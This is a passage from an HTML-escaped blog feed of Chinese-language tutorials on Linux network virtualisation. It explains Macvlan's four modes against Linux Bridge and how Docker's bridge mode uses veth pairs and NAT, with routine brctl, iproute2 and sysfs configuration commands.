&lt;h2 id=&quot;macvlan-vs-bridge&quot;&gt;Macvlan vs Bridge&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#macvlan-vs-bridge&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;说到 Macvlan，就不得不提 &lt;code&gt;Bridge&lt;&#x2F;code&gt;，因为你可以把 Macvlan 看成一个简单的 Bridge。但他们之间还是有很大的区别的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bridge&quot;&gt;Bridge&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#bridge&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Bridge 实际上就是一种旧式交换机，他们之间并没有很大的差别。Bridge 与交换机的区别在与市场，而不在与技术。交换机对网络进行分段的方式与 Bridge 相同，交换机就是一个多端口的网桥。确切地说，高端口密度的 Bridge 就称为局域网交换机。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;linux-bridge-topology.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-uzg6Tm.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bridge 有以下特点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Bridge 是二层设备，仅用来处理二层的通讯。&lt;&#x2F;li&gt;
&lt;li&gt;Bridge 使用 MAC 地址表来决定怎么转发帧（&lt;code&gt;Frame&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;Bridge 会从 host 之间的通讯数据包中学习 MAC 地址。&lt;&#x2F;li&gt;
&lt;li&gt;可以是硬件设备，也可以是纯软件实现(例如：&lt;code&gt;Linux Bridge&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以下是一个在 Linux 主机上，多个 VM 使用 bridge 相互通讯的状况：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;linux-bridge-vms-topology.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-mZpEUH.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Linux 主机中可以通过命令行工具 &lt;code&gt;brctl&lt;&#x2F;code&gt; 来查看 Bridge 的配置，该工具可以通过安装软件包 &lt;code&gt;bridge-utils&lt;&#x2F;code&gt; 来获得。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ brctl show

bridge name  bridge id          STP enabled  interfaces
br0          8000.080006ad34d1  no           eth0
                                             veth0
br1          8000.080021d2a187  no           veth1
                                             veth2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Bridge 有可能会遇到二层环路，如有需要，你可以开启&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly93d3cud2lraXdhbmQuY29tL3poLWhhbnMvJUU3JTk0JTlGJUU2JTg4JTkwJUU2JUEwJTkxJUU1JThEJThGJUU4JUFFJUFF&quot;&gt;STP&lt;&#x2F;a&gt; 来防止出现环路。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;macvlan&quot;&gt;Macvlan&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#macvlan&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Macvlan 有以下特点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可让使用者在同一张实体网卡上设定多个 MAC 地址。&lt;&#x2F;li&gt;
&lt;li&gt;承上，带有上述设定的 MAC 地址的网卡称为子接口（&lt;code&gt;sub interface&lt;&#x2F;code&gt;）；而实体网卡则称为父接口（&lt;code&gt;parent interface&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;parent interface&lt;&#x2F;code&gt; 可以是一个物理接口（eth0），可以是一个 802.1q 的子接口（eth0.10），也可以是 &lt;code&gt;bonding&lt;&#x2F;code&gt; 接口。&lt;&#x2F;li&gt;
&lt;li&gt;可在 parent&#x2F;sub interface 上设定的不只是 MAC 地址，IP 地址同样也可以被设定。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sub interface&lt;&#x2F;code&gt; 无法直接与 &lt;code&gt;parent interface&lt;&#x2F;code&gt; 通讯 (带有 sub interface 的 VM 或容器无法与 host 直接通讯)。&lt;&#x2F;li&gt;
&lt;li&gt;承上，若 VM 或容器需要与 host 通讯，那就必须额外建立一个 &lt;code&gt;sub interface&lt;&#x2F;code&gt; 给 host 用。&lt;&#x2F;li&gt;
&lt;li&gt;sub interface 通常以 &lt;code&gt;mac0@eth0&lt;&#x2F;code&gt; 的形式来命名以方便区別。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用张图来解释一下设定 Macvlan 后的样子：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-sub-interfaces.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-cmnaFw.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;macvlan-de-gong-zuo-mo-shi&quot;&gt;Macvlan 的工作模式&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#macvlan-%E7%9A%84%E5%B7%A5%E4%BD%9C%E6%A8%A1%E5%BC%8F&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Macvlan 共支持四种模式，分别是：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vepa-virtual-ethernet-port-aggregator&quot;&gt;VEPA（Virtual Ethernet Port Aggregator）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#vepavirtual-ethernet-port-aggregator&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-vepa-mode-diagram.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-FNNoJq.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;VEPA&lt;&#x2F;code&gt; 模式下，所有从 Macvlan 接口发出的流量，不管目的地全部都发送给父接口，即使流量的目的地是共享同一个父接口的其它 Macvlan 接口。在二层网络场景下，由于生成树协议的原因，两个 Macvlan 接口之间的通讯会被阻塞，这时需要上层路由器上为其添加路由（需要外部交换机配置 &lt;code&gt;Hairpin&lt;&#x2F;code&gt; 支持，即需要兼容 802.1Qbg 的交换机支持，其可以把源和目的地址都是本地 Macvlan 接口地址的流量发回给相应的接口）。此模式下从父接口收到的广播包，会泛洪给 VEPA 模式的所有子接口。&lt;&#x2F;p&gt;
&lt;p&gt;现在大多数交换机都不支持 &lt;code&gt;Hairpin&lt;&#x2F;code&gt; 模式，但 Linux 主机中可以通过一种 &lt;code&gt;Harpin&lt;&#x2F;code&gt; 模式的 Bridge 来让 &lt;code&gt;VEPA&lt;&#x2F;code&gt; 模式下的不同 Macvlan 接口通信(前文已经提到，Bridge 其实就是一种旧式交换机)。怎么配置呢？非常简单，通过一条命令就可以解决：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ brctl hairpin br0 eth1 on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者使用 &lt;code&gt;iproute2&lt;&#x2F;code&gt; 来设置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ bridge link set dev eth0 hairpin on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你的内核是你手工编译升级的，那么可能你的用户态程序并不支持新内核对应的所有特性，也就是说你的 &lt;code&gt;brctl&lt;&#x2F;code&gt; 可能版本过老不支持 hairpin 命令，那么可以 &lt;code&gt;sysfs&lt;&#x2F;code&gt; 来搞定：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ echo 1 &amp;gt;&amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;br0&amp;#x2F;brif&amp;#x2F;eth1&amp;#x2F;hairpin_mode
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 Linux 主机上配置了 &lt;code&gt;Harpin&lt;&#x2F;code&gt; 模式之后，源和目的地址都是本地 Macvlan 接口地址的流量，都会被 &lt;code&gt;br0&lt;&#x2F;code&gt;（假设你创建的 Bridge 是 br0）发回给相应的接口。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-hairpin-mode-traffic.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-2dXOlQ.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果想在物理交换机层面对虚拟机或容器之间的访问流量进行优化设定，VEPA 模式将是一种比较好的选择。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;VEPA&lt;&#x2F;code&gt; 和 &lt;code&gt;Passthru&lt;&#x2F;code&gt; 模式下，两个 Macvlan 接口之间的通信会经过主接口两次：第一次是发出的时候，第二次是返回的时候。这样会影响物理接口的宽带，也限制了不同 Macvlan 接口之间通信的速度。如果多个 Macvlan 接口之间通信比较频繁，对于性能的影响会比较明显。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bridge-1&quot;&gt;Bridge&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#bridge-1&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-bridge-mode.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-DgMUzi.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此种模式类似 Linux 的 Bridge，拥有相同父接口的两块 Macvlan 虚拟网卡是可以直接通讯的，不需要把流量通过父网卡发送到外部网络，广播帧将会被泛洪到连接在&quot;网桥&quot;上的所有其他子接口和物理接口。这比较适用于让共享同一个父接口的 Macvlan 网卡进行直接通讯的场景。&lt;&#x2F;p&gt;
&lt;p&gt;这里所谓的 Bridge 指的是在这些网卡之间，数据流可以实现直接转发，不需要外部的协助，这有点类似于 Linux host 内建了一个 Bridge，即用 brctl 命令所做的那一切。但和 Linux bridge 绝不是一回事，它不需要学习 MAC 地址，也不需要 &lt;code&gt;STP&lt;&#x2F;code&gt;，因此效能比起使用 Linux bridge 好上很多。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Bridge 模式有个缺点：如果父接口 down 掉，所有的 Macvlan 子接口也会全部 down 掉，同时子接口之间也将无法进行通讯。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;private&quot;&gt;Private&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#private&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-private-mode.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-OIReFA.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此种模式相当于 &lt;code&gt;VEPA&lt;&#x2F;code&gt; 模式的增强模式，其完全阻止共享同一父接口的 Macvlan 虚拟网卡之间的通讯，即使配置了 &lt;code&gt;Hairpin&lt;&#x2F;code&gt; 让从父接口发出的流量返回到宿主机，相应的通讯流量依然被丢弃。具体实现方式是丢弃广播&#x2F;多播数据，这就意味着以太网地址解析 &lt;code&gt;arp&lt;&#x2F;code&gt; 将不可运行，除非手工探测 MAC 地址，否则通信将无法在同一宿主机下的多个 Macvlan 网卡间展开。之所以隔离广播流量，是因为以太网是基于广播的，隔离了广播，以太网将失去了依托。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;passthru&quot;&gt;Passthru&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#passthru&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-passthru-mode.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-21-uuJuoP.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此种模式会直接把父接口和相应的MacVLAN接口捆绑在一起，这种模式每个父接口只能和一个 Macvlan 虚拟网卡接口进行捆绑，并且 Macvlan 虚拟网卡接口继承父接口的 MAC 地址。&lt;&#x2F;p&gt;
&lt;p&gt;此种模式的优点是虚拟机和容器可以更改 MAC 地址和其它一些接口参。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;macvlan-he-bridge-de-shi-yong-chang-jing&quot;&gt;Macvlan 和 Bridge 的使用场景&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#macvlan-%E5%92%8C-bridge-%E7%9A%84%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;最后我们再来讨论一下 Macvlan 和 Bridge 的各自使用场景。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;使用 Macvlan :&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;仅仅需要为虚拟机或容器提供访问外部物理网络的连接。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly93d3cuZ29vZ2xlLnNpL3VybD9zYT10JnJjdD1qJnE9JmVzcmM9cyZzb3VyY2U9d2ViJmNkPTEmY2FkPXJqYSZ1YWN0PTgmdmVkPTBhaFVLRXdpU2lhWGc2OWJMQWhWRGRDd0tIWTlLQV9jUUZnZ2RNQUEmdXJsPWh0dHAlM0ElMkYlMkZldmVudHMubGludXhmb3VuZGF0aW9uLm9yZyUyRnNpdGVzJTJGZXZlbnRzJTJGZmlsZXMlMkZzbGlkZXMlMkZMaW51eENvbkphcGFuMjAxNF9tYWtpdGFfMC5wZGYmdXNnPUFGUWpDTkZsMmF0eUZCNWFBTEhINWNLQThYa0ZxR1ExRFEmc2lnMj1OYzVxMVFzVHJHOWc4X1lZUkRyRW9n&quot;&gt;Macvlan 占用较少的 CPU，同时提供较高的吞吐量&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;当使用 Macvlan 时，宿主机无法和 VM 或容器直接进行通讯。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;使用 Bridge :&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当在同一台宿主机上需要连接多个虚拟机或容器时。&lt;&#x2F;li&gt;
&lt;li&gt;对于拥有多个网桥的混合环境。&lt;&#x2F;li&gt;
&lt;li&gt;需要应用高级流量控制，FDB的维护。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;macvlan-de-ju-xian-xing&quot;&gt;Macvlan 的局限性&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#macvlan-%E7%9A%84%E5%B1%80%E9%99%90%E6%80%A7&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Macvlan 是将 VM 或容器通过二层连接到物理网络的近乎理想的方案，但它也有一些局限性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Linux 主机连接的交换机可能会限制同一个物理端口上的 MAC 地址数量。虽然你可以让网络管理员更改这些策略，但有时这种方法是无法实行的（比如你要去给客户做一个快速的 PoC 演示）。&lt;&#x2F;li&gt;
&lt;li&gt;许多 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly93d3cud2lraXdhbmQuY29tL3poLyVFNyVCRCU5MSVFNSU4RCVBMQ%3D%3D&quot;&gt;NIC&lt;&#x2F;a&gt; 也会对该物理网卡上的 MAC地址数量有限制。超过这个限制就会影响到系统的性能。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly93d3cud2lraXdhbmQuY29tL3poLWhhbnMvSUVFRV84MDIuMTE%3D&quot;&gt;IEEE 802.11&lt;&#x2F;a&gt; 不喜欢同一个客户端上有多个 MAC 地址，这意味着你的 Macvlan 子接口在无线网卡或 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly93d3cud2lraXdhbmQuY29tL2VuL1dpcmVsZXNzX2FjY2Vzc19wb2ludA%3D%3D&quot;&gt;AP&lt;&#x2F;a&gt; 中都无法通信。可以通过复杂的办法来突破这种限制，但还有一种更简单的办法，那就是使用 &lt;code&gt;Ipvlan&lt;&#x2F;code&gt;，感兴趣可以自己查阅相关资料。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#%E6%80%BB%E7%BB%93&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;本文主要介绍了 Macvlan 的实现原理，比较了它和 Linux Bridge 模式之间的差异及其使用场景，还详细剖析了 Macvlan 四种模式的工作原理和相关注意项。下一节我们将通过实际演练来模拟 Macvlan 的四种工作模式。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cDovL2hpY3UuYmUvYnJpZGdlLXZzLW1hY3ZsYW4%3D&quot;&gt;Bridge vs Macvlan&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3p0Z3VhbmcvYXJ0aWNsZS9kZXRhaWxzLzUxODU0MDM3&quot;&gt;图解几个与Linux网络虚拟化相关的虚拟网卡-VETH&#x2F;MACVLAN&#x2F;MACVTAP&#x2F;IPVLAN&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;go&#x2F;?target=aHR0cHM6Ly9saXN0cy5saW51eGZvdW5kYXRpb24ub3JnL3BpcGVybWFpbC9icmlkZ2UvMjAwOS1Ob3ZlbWJlci8wMDY4NDIuaHRtbA%3D%3D&quot;&gt;iproute2&#x2F;iplink: add macvlan options for bridge mode&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 虚拟网卡技术：Macvlan</title>
        <published>2024-07-03T00:00:00+00:00</published>
        <updated>2024-07-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-虚拟网卡技术-macvlan/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-虚拟网卡技术-macvlan/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-虚拟网卡技术-macvlan/">&lt;h2 id=&quot;dockerde-bridgehe-macvlanliang-chong-wang-luo-mo-shi&quot;&gt;Docker的bridge和macvlan两种网络模式&lt;&#x2F;h2&gt;
&lt;p&gt;Docker有好几种网络模式，这里介绍下bridge和macvlan两种模式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Bridge模式&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    Bridge模式是Docker默认的网络模式，当Docker进程启动时，会在主机上创建一个名为docker0的虚拟网桥，用来连接宿主机和容器，此主机上的Docker容器都会连接到这个虚拟网桥上，虚拟网桥的工作方式和物理交换机类似，这样所有容器就通过交换机连在了一个二层网络中。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看一下实际创建容器后的情况&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker0-bridge-host-route.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker0-bridge-route.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面两个图是宿主机上看到的，创建了一个docker0的网桥，ip是172.17.0.1&#x2F;16，并且创建了一个路由，ip在172.17.0.0&#x2F;16段的都会都会转到docker0网桥上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-container-eth0-route.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上图是从容器内部看到的，容器有eth0这个网卡对外通信，ip是172.17.0.2&#x2F;16，跟docker0在同一网段，路由里default via 172.17.0.1指定了容器的网关是docker0&lt;&#x2F;p&gt;
&lt;p&gt;并且容器的eth0还是eth0@if45，就是45网卡的一个接口&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-host-veth-peer.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-host-veth-pair.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面是宿主机的网卡信息，可以看到有一个编号45的&quot;veth&quot; 开头的网卡，这是一个 veth 设备，而 veth 设备总是成对出现的，另一半就是上面容器内的那个eth0，并且查看网桥信息也能看到这个veth的设备跟docker0网桥是绑定关系。&lt;&#x2F;p&gt;
&lt;p&gt;通过上面的基本上就明确网络的模式了，Docker利用 veth pair技术，在宿主机上创建了两个虚拟网络接口 veth0 和 veth1（veth pair技术的特性可以保证无论哪一个veth 接收到网络报文，都会无条件地传输给另一方），Docker将veth pair设备的一端放在新创建的容器中，并命名为eth0（容器的网卡，从docker0子网中分配一个IP给容器使用，并设置docker0的IP地址为容器的默认网关），另一端放在主机中，以vethxxx这样类似的名字命名，并将这个网络设备加入到docker0网桥中。可以通过brctl show命令查看，这样容器和网桥就可以相互通信了。网络结构如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;容器与宿主机通信&lt;&#x2F;strong&gt; : 在桥接模式下，Docker Daemon将veth0附加到docker0网桥上，保证宿主机的报文有能力发往veth0。再将veth1 添加到Docker 容器所属的网络命名空间，保证宿主机的网络报文若发往 veth0 可以立即被 veth1 收到。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;容器与外界通信&lt;&#x2F;strong&gt; : 容器如果需要联网，则需要采用 NAT（是一种在 ip 数据包通过路由器或防火墙时，重写来源 ip 地址或目的 ip 地址的技术） 方式。准确的说，是 NATP (网络地址端口转换) 方式。NATP 包含两种转换方式：SNAT 和 DNAT 。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宿主机外访问容器时（修改数据包的目的地址）：&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-dnat-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于容器的 IP 与端口对外都是不可见的，所以数据包的目的地址为&lt;strong&gt;宿主机&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 192.168.1.10:24 。&lt;&#x2F;p&gt;
&lt;p&gt;数据包经过路由器发给宿主机 eth0，再经 eth0 转发给 docker0 网桥。由于存在 DNAT 规则，会将数据包的目的地址转换为&lt;strong&gt;容器&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 172.17.0.n:24 。&lt;&#x2F;p&gt;
&lt;p&gt;宿主机上的 docker0 网桥识别到容器 ip 和端口，于是将数据包发送附加到 docker0 网桥上的 veth0 接口，veth0 接口再将数据包发送给容器内部的 veth1 接口，容器接收数据包并作出响应。&lt;&#x2F;p&gt;
&lt;p&gt;整个过程如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-dnat-packet-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;容器访问宿主机之外时（修改数据包的源地址）&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-snat-outbound.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此时数据包的源地址为&lt;strong&gt;容器&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 172.17.0.n:24，容器内部的 veth1 接口将数据包发往 veth0 接口，到达 docker0 网桥。&lt;&#x2F;p&gt;
&lt;p&gt;宿主机上的 docker0 网桥发现数据包的目的地址为外界的 IP 和端口，便会将数据包转发给 eth0 ，并从 eth0 发出去。由于存在 SNAT 规则，会将数据包的源地址转换为&lt;strong&gt;宿主机&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 192.168.1.10:24 。&lt;&#x2F;p&gt;
